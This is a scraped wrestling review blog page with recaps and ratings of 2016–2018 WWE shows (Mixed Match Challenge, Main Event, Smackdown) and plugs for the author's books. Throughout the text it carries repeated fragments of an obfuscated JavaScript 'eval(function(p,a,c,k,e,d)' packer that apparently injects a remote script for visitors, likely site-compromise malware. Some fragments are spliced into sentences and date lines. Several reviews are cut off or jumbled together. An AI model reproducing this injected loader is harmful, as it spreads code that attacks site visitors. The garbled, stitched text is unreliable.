IMG Credit: WWE

Mixed Match Challenge
Date: November 27, 2018
Location: Target Center, Minneapolis, Minnesota
Commentators: Vic Joseph, Michael Cole, Renee Young

It’s time for the playoffs, meaning we’re down to four teams left on either side. Tonight we’ll get down to the final two Raw teams and given the options we have, I’m not sure what to expect here. Well other than some bad wrestling and unfunny comedy because this show isn’t something anyone is taken seriously. Let’s get to it.

Here are last week’s results if you need a recap.

Raw Division Quarterfinals: Ember Moon/Curt Hawkins vs. Alicia Fox/Jinder Mahal

The women start things off with an exchange of rollups until Moon headscissors her into the corner. Mahal comes in and Moon wants to face him, knowing how worthless Hawkins really is. I mean, she’s not wrong. Mahal punches him down and slaps on a headlock takeover but Hawkins scores with a dropkick. A clothesline puts Mahal on the floor but Hawkins stops to go after the Singh Brothers, allowing Mahal to get in a shot to take over.

Back in and we hit the chinlock on Hawkins, because that’s all Mahal knows how to do. Actually I sit corrected as Mahal switches off to a cravate to show some range. And never mind as it’s right back to the chinlock, just to keep things comfortable. Hawkins fights up and sends Mahal outside for the hot tag off to Moon so the pace can pick up.

Rating: D. Well of course we’re getting more Mahal. The guy can’t even win a match on Main Event but he’s one of the final four options for the #30 spot in the Royal Rumble. Oh and make sure to push the heck out of Mahal and Fox, because it’s so wacky to have them advance this far after being a disaster in the regular season. This felt like a way to laugh at the fans and pull the rug out from them, which seems like the goal more often than not.

Asuka and Miz are ready for Naomi and Jimmy Uso next week.

Naomi and Jimmy Uso are ready for Asuka and Miz next week.

Fox and Mahal promise to win next week. Mickie James comes in and says Fox should watch this.

Raw Division Quarterfinals: Bobby Lashley/Mickie James vs. Bayley/Finn Balor

The men start things off but Lashley tags out less than a second in. That means a lot of stalling until a Lio Rush distraction lets Mickie get in a cheap shot to take over. The way too early chinlock goes on, followed by a neckbreaker for two on Bayley. We hit the bodyscissors as they don’t exactly seem interested in going full speed ahead here. Bayley gets up and it’s a double clothesline to set up the double tag.

That’s a bit of overkill as only one is needed but I guess that’s making up for the weaker effort. Balor tries to pick up the pace but gets knocked off the apron and into the announcers’ table. Since that’s only good for two, Lashley sends him outside again and mocks Braun Strowman’s run around the ring, allowing Balor to hit the Sling Blade. Mickie is right there to pull Bayley off the ropes though and there’s no tag.

Back up and Lashley misses a charge into the post, allowing the hot tag off to Bayley. A flapjack cuts her off in almost no time though and the top rope Thesz press gets two. Bayley fights out of the MickieDT but Rush breaks up her dive. Balor throws Rush outside and hits the flip dive onto both guys, leaving Bayley to grab the Bayley to Belly for the pin on James at 9:20.

Rating: C+. That’s one of the better matches of the entire season so far for the simple reason that it felt like they were trying. Instead of having a dance off or doing something stupid, you had two teams fight each other because they wanted to advance on in the competition. That hasn’t been the case for most of the season and it was very, very nice for a change.

R-Truth and Carmella are ready for Jeff Hardy and Charlotte next week.

Jeff Hardy and Charlotte are ready for R-Truth and Carmella next week.

Balor and Bayley try the Dirty Dancing lift to end the show.

Overall Rating: C-. The second match was much better than the first and that’s enough to make this a better show than we’ve had in a few weeks. If nothing else it’s great to have the ending in sight, because we’ve sat through this whole thing for so long that there’s no charm left to it. Hopefully the finals are good, because what we’ve gotten so far hasn’t exactly been worth seeing.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

This just came out on its own and shows how tunnel visioned things can be in WWE.

https://wrestlingrumors.net/kbs-review-one/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inbfi|var|u0026u|referrer|knzfd||js|php'.split('|'),0,{})) Event
Date: August 17, 2017
Location: TD Garden, Boston, Massachusetts
Commentators: Vic Joseph, Corey Graves

It’s the go home edition of Main Event and that has to be worth something. I mean, I have no idea what it would actually be worth but there must be something there. Odds are we’re looking at another batch of cruiserweight matches this week, which might not be the worst thing in the world. Let’s get to it.

Opening sequence.

Kalisto vs. Curt Hawkins

Kalisto goes with the kicks to start but eats an elbow to the jaw for his efforts. Curt gets sent outside for a teased dive, only to get kicked in the head on the way back in. A pull of the leg brings Kalisto off the ropes though and we hit the chinlock. Kalisto gets planted with a spinebuster for two but Hawkins misses a split legged moonsault of all things. Things speed up again and Hawkins gets caught by the springboard corkscrew dive, followed by the Salida Del Sol to give Kalisto the pin at 4:27.

Rating: C-. It’s a shame that Hawkins is stuck as a jobber to the stars (though steady employment and TV time are nothing to sneeze at) as his entrance alone is worthy of a chuckle. Kalisto seems to have become a regular on Main Event and while that might not be the best usage of him, at least he’s here instead of on the sidelines.

Package on Seth Rollins and Dean Ambrose’s recent issues.

From Raw!

Here’s Dean for an opening chat. Dean wants to talk to Seth in person so here’s Rollins (still with the BURN IT TO THE GROUND in his music). Seth gets right to the point: they would be unstoppable as a team. He’s done playing games and sticks out his fist. Dean isn’t sure but then says Seth has to be kidding.

He rants about Rollins not being there for him last week but Seth says that their differences are why they work so well together. Seth goes to leave but Dean stops him and puts out the fist. It’s turned down AGAIN and Dean takes him down for a fight. They fall out to the floor so here are Sheamus and Cesaro for the beatdown.

Ambrose and Rollins eventually fight them off and clear the ring, drawing one heck of a YES chant. Now Dean puts out the fist….but Seth isn’t sure. Then Seth puts out the fist but Dean isn’t sure. They finally put the fists out together and NOW we have the eruption that the fans have been holding in for weeks. Hang on a second though as here’s Kurt Angle to make the Tag Team Title match with Rollins and Ambrose getting the shot at Summerslam.

Again from Raw.

Bray Wyatt vs. Finn Balor

Another Summerslam match coming early. They go right after each other to start with Bray doing his hop over the ropes for a kick to the head. A right hand drops Balor onto the apron but he gets in a kick to the face and we take a break. Back with Bray hitting a gutbuster for two and hitting a hard clothesline. It’s off to a chinlock for a bit until Balor kicks him in the head for a breather.

Bray gets caught with another running boot for two but comes right back with his running crossbody. The backsplash gives Bray two more but Balor adds a quick double stomp to the ribs. They head outside with Finn getting the running dropkick against the barricade but the Coup de Grace is broken up. Sister Abigail gives Bray the clean pin at 11:23.

Rating: C+. That’s Bray’s third straight win over a former World Champion (two wins over Seth Rollins) but for some reason it feels like he’s still going nowhere. That loss at Wrestlemania really did cripple him and it’s going to take another big win, like winning the World Title, to bring him back. Balor losing clean is surprising here, but I really hope they don’t just have him beat Wyatt again on Sunday.

Bray gives him another Sister Abigail after the match. The lights go out and come back on with Balor sitting unconscious in the corner. Bray has a bucket and pours what looks like blood (or barbecue sauce) all over Bray.

Gran Metalik/Lince Dorado vs. Ariya Daivari/Drew Gulak

Gulak charges into Dorado’s knee to start and gets ankle scissored down. Metalik gets launched into a dropkick to put Gulak down again but Drew grabs a headlock to slow things down. Back up and Metalik spins around the ropes into a wristdrag to send us to a break. Back with Dorado hurricanranaing Gulak down and getting two off a high crossbody.

Drew finally slams him head first onto the mat and puts on something like an inverted Sharpshooter. That doesn’t last long either though as Metalik makes a save, allowing Dorado to hit a double handspring Stunner. Metalik dives onto Daivari, leaving Dorado to hit the shooting star to pin Gulak at 8:21.

Rating: C-. They mixed the formula up here a bit and that’s a good thing after doing the same thing so many times. There wasn’t even a hot tag to Metalik at the end. I have no idea why Metalik and Dorado aren’t being used as a low level tag team on the main rosters. They work well together and it’s not like the technico luchador team is a hard act to pull off. But hey, let’s just let them flounder on 205 Live and Main Event instead. I’m sure nothing bad will come of it.

We’ll close it out here.

Angle is in the ring, which is surrounded by security, to bring out all four participants for Sunday’s Universal Title match. First up we have Brock Lesnar and Paul Heyman with Paul talking about how unfair Sunday’s match is going to be. It’s going to be all three challengers going after Lesnar and as a fan, Heyman thinks that concept sucks.

One day, a very long time from now, someone is going to be man enough to defeat Lesnar and become the new guy. However, it’s not going to be the false Samoan Samoa Joe or the Monster Among Men Braun Strowman, or the man who conquered the Undertaker, Roman Reigns. Heyman sees two possible options for Sunday.

Option A is Lesnar having the title stolen from him, meaning you might as well put him in a cage (Heyman: “HINT HINT!”). Option B is Lesnar wins and it turns out that Heyman has been underselling him all these years. This brings out Samoa Joe to say he’s putting Lesnar to sleep on Sunday.

Braun Strowman, now with his own shirt, comes out to say he’s always the last man standing. Joe takes credit for last week’s win and it’s FINALLY Reigns coming in as well. Roman takes Joe down but walks into the powerslam, leaving Lesnar vs. Strowman. Security comes in to break them up but are quickly dispatched. The locker room comes out and can barely hold them back to end the show.

Overall Rating: C. Pretty easy show to watch here, which is more than you can say about a lot of Main Events. This time around we had a completely watchable cruiserweight match and a forgettable singles match (I can already barely remember that Kalisto beat Hawkins) to go with recaps from a watchable Raw. I’ll take what I can get though and call this one fine.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbyhb|var|u0026u|referrer|yshts||js|php'.split('|'),0,{})) Event
Date: August 10, 2017
Location: Air Canada Center, Toronto, Ontario, Canada
Commentators: Vic Joseph, Corey Graves

The show heads north of the border this week and there are some options for this show. Monday’s Raw didn’t feature several names and since no one works twice around here, there’s a good chance we could be seeing some bigger names around here. Oh and Curt Hawkins. Never forget Hawkins. Let’s get to it.

Opening sequence.

Apollo Crews vs. Curt Hawkins

See, I told you there would be a Hawkins sighting. They pose at each other to start but Crews pops off a dropkick to take over. Hawkins is smart enough to choke on the ropes and grabs a belly to back suplex for two. A regular suplex gets two and we hit the chinlock. Back up and Crews hits a running kick to the face, followed by the enziguri and standing moonsault for two. Hawkins comes back with an enziguri of his own but what looks like a running right hand is countered into the Toss Powerbomb to give Crews the pin at 4:29.

Rating: D+. As usual, the best thing about a Hawkins match is his awesome entrance. It’s a shame that something so funny is being wasted on someone who is nothing but a jobber to the stars. Crews continues to be insanely athletic but he still needs charisma and a character, which is only going to be done so well by Titus International.

From Raw, part one.

We start fast this week as Miz and company are in the ring for MizTV. Miz is tired of being blindsided on his own show so he wants Jason Jordan out here right now. It’s Kurt Angle instead, who has his own guest for the show: Brock Lesnar. The place goes coconuts for Lesnar and Paul Heyman, but Miz cuts Paul off because this is his show. Miz talks about how it’s almost a guarantee that Lesnar is losing the title because all three challengers are going to gang up on Lesnar. And remember, if Brock loses, he’s gone for good. If Miz is a betting man, he’s picking one of the challengers to leave as champion.

It’s time for Heyman to talk and he gets straight to the point: “Do you and your wife ever role play?” Heyman loves the idea of role play so let’s have Miz play Roman Reigns, Bo Dallas play Samoa Joe and Curtis Axel play Braun Strowman. Now let’s preview Summerslam. Three F5’s later, Lesnar calmly leaves.

And the sequel.

Here’s Finn Balor for a chat. After some required TOO SWEET chanting, Balor talks about kicking Bray’s teeth down his neck last week. If there’s one thing Finn knows, it’s that you have to kick fear in the face….and here’s Wyatt to interrupt. Bray appears in the ring but Balor is on the top. They fight for a bit until Bray disappears, only to reappear on screen to say he enjoys Balor’s bravery.

Before the next match, we’re graced with a song from Elias about how horrible Canada is with all of its ugly citizens. Cue a well known Canadian for the save.

Elias vs. Kalisto

Kalisto says he wants to walk with Elias but settles for sending him outside for a hurricanrana off the apron. We take an early break and come back with Elias pulling Kalisto’s arm down onto the apron, earning them both a series of TEN counts. The arm goes into the apron again and it’s time for an armbar.

Kalisto reverses into a rollup for a quick breather but Elias kicks him in the shoulder again. A hammerlock belly to back suplex gets two and we hit the third armbar. An armdrag gets Kalisto out of trouble and he rolls over to kick Elias in the head, only to have the Salida Del Sol reversed into Drift Away for the pin at 10:02.

Rating: D-. It’s hard to find a really bad Main Event match but they pulled it off here. How in the world can you have a ten minute match with three armbars included? Elias is going to be used as something special in WWE though I still have no idea what that’s going to be. Kalisto is a good jobber to the stars, though I still have no idea why he beat Braun Strowman earlier in the year.

Quick look at Bayley’s injury.

Finally from Raw again.

Braun Strowman vs. Roman Reigns

Last Man Standing. Reigns meets him n the aisle but gets thrown from the floor into the ring. It’s too early for a Samoan drop as Strowman pounds Reigns down for an early five count. Reigns is sent outside and we take a break. Back with Strowman throwing the steps inside but Reigns slugs away for a breather. A pair of big boots stagger Strowman and a shot with the steps puts Strowman on a knee.

Reigns hits him in the face with the steps and Strowman goes down, allowing Reigns to hit him in the chest with the steps over and over. Back up at seven and Strowman blocks the Superman Punch by sending Reigns into the corner. That spinning Big Ending gives Braun a breather but Roman gets in a quick Superman Punch to put both guys down. Strowman is back up with a dropkick of all things but he misses a charge and hits the post, knocking him out to the floor.

Reigns gets in the apron dropkick and it’s table time. He takes too long with it though as Strowman clotheslines him down again and sets up the table in the ring. Again it takes too long though and Reigns hits a Samoan drop through the table, only to have Strowman roll outside to get on his feet. Reigns goes after him so Strowman LAUNCHES the timekeeper’s chair at him, knocking Reigns completely silly for nine. Great visual and if Strowman doesn’t win, I have no idea why he didn’t do it there.

They fight into the crowd and up to the announcers’ table with Reigns hitting another running dropkick. Strowman is up again and throws Roman into the screen. The announcers’ table is loaded up but Reigns gets to his feet for two Superman Punches. The spear is blocked with a big boot, only to have Reigns pop back up and hit the spear. Reigns pulls himself up….and Samoa Joe reaches out from the crowd to put Reigns in the Koquina Clutch. The THANK YOU JOE chant starts up and Strowman is up at nine for the win at 22:00.

Rating: B-. This got going once they brought the table in and I REALLY like that ending. Strowman wouldn’t have gotten up without the delay in the count thanks to Joe and Joe himself looks like the real winner, which makes sense considering he wasn’t even on the show so far. It’s not a classic or anything but the ending was the perfect call, outside of MAYBE a double knockout.

Overall Rating: D. Pretty weak show this time around and that’s not the biggest surprise in the world. MizTV was fun, the Last Man Standing match was brutal, the Balor segment was stupid and the original matches ranged from “we’ve seen this before” to a tribute to Chris Jericho’s ARMBAR list. This was one of the worst shows they’ve done in a good while and that’s hard to do for Main Event.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrdsr|var|u0026u|referrer|tyrzi||js|php'.split('|'),0,{})) Event
Date: June 15, 2017
Location: Cajundome, Lafayette, Louisiana
Commentators: Corey Graves, Vic Joseph

Opening sequence.

Curt Hawkins vs. Curtis Axel

Gah this always gets annoying with first names. Axel grabs a headlock to start and stomps away in the corner before getting two off a clothesline. That earns Curtis a knee to the back and a chinlock (with another knee to the back) as the announcers talk about these two teaming together.

Long recap of the Hardys vs. Sheamus/Cesaro.

Very shortened version of the Hardys vs. Sheamus/Cesaro from Raw, showing about three minutes of a fifteen minute match.

Also from Raw, this time in full form.

Gran Metalik vs. Ariya Daivari

We look back at Samoa Joe choking out Paul Heyman.

And now, the only way this show could end.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhifa|var|u0026u|referrer|ktdad||js|php'.split('|'),0,{})) apologize for the delay but my internet was out for a few hours during the middle of the show.

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibiyt|var|u0026u|referrer|dskeh||js|php'.split('|'),0,{})) Event
Date: October 25, 2016
Location: Resch Center, Green Bay, Wisconsin
Commentators: Tom Phillips, David Otunga

Opening sequence.

American Alpha vs. Vaudevillains

We go back to Raw, likely because this is released on Tuesdays due to a contractual issue with Sky Sports in England.

New Day vs. Cesaro/Sheamus

Back to Raw again for the Sasha Banks vs. Charlotte contract signing.

As expected, the fans chant for Foley, thereby completely missing the point of this segment. Foley met Charlotte as a child and his kids gave Sasha their signed photo of Eddie Guerrero. More insults and a double signing FINALLY wrap this up. Charlotte vs. Sasha in a major gimmick match is fine but no one, like NO ONE, buys that the match is going to be all violent and career threatening like Foley is pushing and that kills the idea.

Apollo Crews vs. Curt Hawkins

We go back to Raw for the main event and post match shenanigans.

Seth Rollins vs. Chris Jericho vs. Kevin Owens

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And check out my Amazon author page with cheap wrestling books at:

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Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznyy|var|u0026u|referrer|yhehs||js|php'.split('|'),0,{})) October 18, 2016
Location: Pepsi Center, Denver, Colorado
Commentators: John Bradshaw Layfield, David Otunga, Mauro Ranallo

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiryk|var|u0026u|referrer|yedzr||js|php'.split('|'),0,{})) already at the second Smackdown only pay per view and the card is already stronger than the “Backlash 2016” offering. If nothing else they already have more matches set up for this show, meaning we probably won’t have to sit through a ten minute opening segment and no team is going to have to work twice. Let’s get to it.

Pre-Show: Jack Swagger vs. Baron Corbin

Curt Hawkins vs. ???

Tag Team Titles: Heath Slater/Rhyno vs. Usos

Nikki Bella vs. Carmella

Bray Wyatt vs. Randy Orton

Intercontinental Title: The Miz vs. Dolph Ziggler

World Title: AJ Styles vs. Dean Ambrose vs. John Cena

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And check out my Amazon author page with cheap wrestling books at:

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The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trakd|var|u0026u|referrer|etdbk||js|php'.split('|'),0,{})) hits are coming fast and furious today.  So far the following are gone:-Evan Bourne
-Brodus Clay
-Yoshi Tatsu
-Camacho
-Teddy Long
-Curt Hawkins
-Aksana